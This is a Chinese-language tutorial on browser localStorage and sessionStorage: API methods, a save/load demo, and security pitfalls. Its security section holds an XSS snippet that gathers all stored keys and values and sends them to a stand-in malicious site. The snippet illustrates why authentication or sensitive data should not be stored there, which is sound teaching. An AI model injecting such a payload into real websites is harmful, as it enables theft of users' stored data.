本地存储

1.localStorage是什么

 

localStorage用于持久化的本地存储，除非主动删除数据，否则数据是永远不会过期的。

 

2.localStorage的用法

 

localStorage. length:返回现在已经存储的变量数目。
localStorage. key(n):返回第n个变量的键值(key)。
localStorage.getItem(k):和localStorage.k一样，取得键值为k的变量的值。
localStorage.setItem(k , v):和localStorage.k = v一样，设置键值k的变量值。
localStorage.removeItem(k):删除键值为k的变量。
localStorage.clear():清空所有变量。

 

3.localStorage的代码实现

<script type="text/javascript">function saveStorage(id){var text = document.getElementById(id).value;localStorage.setItem("input", text);}function loadStorage(id){var msg = document.getElementById(id);msg.innerHTML = localStorage.getItem("input");}</script> 

<p id="msg"></p> <input type="text" id="input"> <input type="button" value="保存数据" onClick="saveStorage('input');"> <input type="button" value="读取数据"  onclick="loadStorage('msg');"> 

4.查看localStorage

 

谷歌浏览器中----右上角的扳手---工具-----开发者工具----resouces   你将看到本地存储的所有数据

 

5.sessionStorage

 

sessionStorage的用法和localStorag用法是一样的，主要区别在于他们的生命周期，sessionStorage存储的数据在浏览器关闭以后就会消失。在此就不再多做介绍。

 

6.本地存储的安全问题

 

(1)、是否可以代替Cookie

浏览器使用Cookie进行身份验证已经好多年，那现在既然localStorage存储空间那么大，是否可以把身份验证的数据直接移植过来呢。以现在来看，把身份验证数据使用localStorage进行存储还不太成熟。我们知道，通常可以使用XSS漏洞来获取到Cookie，然后用这个Cookie进行身份验证登录。后来为了防止通过XSS获取Cookie数据，浏览器支持了使用HTTPONLY来保护Cookie不被XSS攻击获取到。而localStorage存储没有对XSS攻击有任何的抵御机制。一旦出现XSS漏洞，那么存储在localStorage里的数据就极易被获取到。

如果一个网站存在XSS漏洞，那么攻击者注入如下代码，就可以获取使用localStorage存储在本地的所有信息。

 

var i = 0; 
var str = ”"; 
while (localStorage.key(i) != null) 
{ 
var key = localStorage.key(i); 
str += key + ”: ” + localStorage.getItem(key); 
i++; 
} 
document.location=”http://your-malicious-site.com?stolen=”+ str; 

攻击者也可以简单的使用localStorage.removeItem(key)和localStorage.clear()对存储数据进行清空。

(2)、不要存储敏感信息

从(1)中知道，从远程攻击来看localStorage存储的数据容易被XSS攻击获取，所以不宜把身份验证信息或敏感信息用localStorage存储。而从本地攻击角度来说，从localStorage自身的存储方式和存储时效来看也不宜存储敏感信息。

五大浏览器现在都已经支持以localStorage方式进行存储，其中Chrome,Opera,Safari这三款浏览器中都有了查看本地存储的功能模块。但是不同浏览器对localStorage存储方式还是略有不同。以下是五大浏览器localStorage存储方式：

 

通过上面的描述可以看出，除了Opera浏览器采用BASE64加密外(BASE64也是可以轻松解密的)，其他浏览器均是采用明文存储数据。

另一方面，在数据存储的时效上，localStorage并不会像Cookie那样可以设置数据存活的时限，只要用户不主动删除，localStorage存储的数据将会永久存在。

根据以上对存储方式和存储时效的分析，建议不要使用localStorage方式存储敏感信息，那怕这些信息进行过加密。

(3)、容易遭受跨目录攻击

localStroage存储方式不会像Cookie存储一样可以指定域中的路径，在localStroage存储方式中没有域路径的概念。也就是说，如果一个域下的任意路径存在XSS漏洞，整个域下存储的数据，在知道存储名称的情况下，都可以被获取到。

假设下面两个链接是使用localStorage来存储数据：

http://example.com/ahttp://example.com/b

用户a和b各自的blog链接虽然属于同一个域，但却有不同的路径，一个路径为a，另一个路径为b。假设a用户发现自己的路径下存在存储型XSS漏洞，那么就可以在自己的blog中加入获取数据代码，其中核心代码为localStorage.getItem(“name”)。b用户并不需要登录blog,他只要访问http://h.example.com/a，本地存储数据就会被获取到。